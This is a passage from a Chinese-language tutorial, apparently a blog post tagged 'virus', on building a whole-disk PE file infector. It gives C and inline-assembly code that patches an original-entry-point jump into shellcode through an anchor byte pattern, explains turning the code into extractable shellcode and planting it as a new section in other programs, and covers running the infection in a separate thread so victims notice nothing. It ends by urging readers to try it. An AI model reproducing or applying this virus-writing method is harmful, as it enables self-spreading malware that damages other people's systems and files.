// dwOEP = (DWORD)(pOH->ImageBase + dwOEP); <- 注释掉这行

有了跳转的地址,我们就要想办法写入到payload里,毕竟我们payload是硬编码的,那么如何写入呢?办法就是先转换成char[]。

char *lpBuf = (char*)malloc(secToAdd.SizeOfRawData);
lpBuf[3] = (JMPTR & 0xFF000000) >> 24;
lpBuf[2] = (JMPTR & 0x00FF0000) >> 16;
lpBuf[1] = (JMPTR & 0x0000FF00) >> 8;
lpBuf[0] = (JMPTR & 0x000000FF);

因为地址是小端存储,所以我们得注意数组的顺序,然后用位运算就能把DWORD类型转换为32位4自己的的BYTE了。
接下来一个问题就是如何找到我们需要写入的位置,我这里用的是锚点定位法。搜索payload搜索到特殊的flag,就在flag之后偏移的位置写入地址
首先我们先构建锚点

// 用于定位
    char anchor[15] = {(char)47,(char)48 ,(char)49,(char)50,(char)51,(char)204,(char)204,(char)204,(char)204,(char)204,(char)51,(char)50,(char)49,(char)48,(char)47};
    DWORD jmpOEP;
    jmpOEP = anchor[5] | anchor[6] << 8 | anchor[7] << 16 | anchor[8] << 24;
    __asm {
        mov eax, jmpOEP;
        jmp jmpOEP;
    }

之后 就是搜索我们的锚点然后替换jmp地址

char signs[5] = { (char)47,(char)48 ,(char)49,(char)50,(char)51 };
                            // 手动实现KMP
                            int isFind = 0;
                            int i=0;
                            int s = 0;
                            do {
                                for (int j = 0; j < 5; j++) {
                                    if (i + 5 > (int)pSectionHeader->SizeOfRawData) {
                                        break;
                                    }
                                    if (buff[i] == signs[j]) {
                                        s++;
                                    }
                                    else {
                                        i += s;
                                        s = 0;
                                    }
                                    if (s == 5) {
                                        //找到了
                                        isFind = 1;
                                        break;
                                    }
                                }
                                
                            } while (i>(int)pSectionHeader->SizeOfRawData);
                            if (isFind == 0) { continue; }
                            buff[i + 1] = lpBuf[0];
                            buff[i + 2] = lpBuf[1];
                            buff[i + 3] = lpBuf[2];
                            buff[i + 4] = lpBuf[3];

至此,如果你仅仅只是要全盘感染的话,那么以上部分已经全部完成了。

虽然说是这么说,然而还是缺少最后比较重要的一步,也是很容易犯下的大坑。
我们代码中,大量运用到了字符串,例如 char* value = "xxxxxx";这样子的内容,会导致把字符串放到只读数据data段,和shellcode相距十万八千里。。。也不至于,但是确实不在代码段中,这样会让我们提取十分的不方便,这时候,我们就需要把代码中的这些字符串,全部换成

value[0]='x';
value[1]='x';
....;

之后在对本地申明的 buff区一个个挪过去。
这样的形式,把字符串变成立即数的形式保存在代码段中方便我们提取
把上面那些函数替换成通过我们最开始loadlibrary获取的API之后,提取出来,然后手动构造一个section放置到其他程序里然后运行,理论上就能全盘感染了。
如果只是要验证全盘感染的话,那么可以到此为止了,后面的就没必要看了
如果真的要实际运用的话,其实还缺少最后的一步,也是最关键的一步。
那就是,程序本身是单线程运行的,如果你直接这么感染后,别人每次打开程序,都会先执行一次全盘感染,才执行到后面的正常部分,这一过程也许会花很长的时间,那么基本就等于破坏了远程序,破坏了我们的本意,全盘感染就是要在用户能正常执行的情况下正常的感染,而不是破坏源程序体验(如果真的这样为啥不直接把所有exe都替换成我们的病毒对不对?直接覆盖就行了并不这么麻烦)
那么如何解决呢?也很简单。
一个CreateThread就搞定,但是同时也很麻烦。
原理基本就是,把目前这段先编译成shellcode,然后再创建个新程序,添加到新程序的数据段中。
最后新程序再次作为shellcode,其中shellcode的功能就是查找这份数据段和原始代码的入口点,之后分别CreateThread过去。
这样运行的时候,就是两个线程同时运行啦。
好的,你已经理解了自己编写感染的基础的手法,快去试试吧。

后记

本文一切出于于研究目的编写,本文的代码均为概念项目,难以用作与实际破坏,一切法律后果由制作者自行承担。

因为是第一次写这种代码,所以代码写的很脏很乱,请大家见谅。文中的代码肯定有更好的实现方式,欢迎大家指出。

当然还有一种更简单的解决方法就是直接全盘修改IAT表然后把DLL放置于环境变量下,这样在某种意义上也可以是全盘感染,而且操作起来更简单,然而缺点就是必须到处放置dll以及传播能力略微下降。

Tags: 教程, 病毒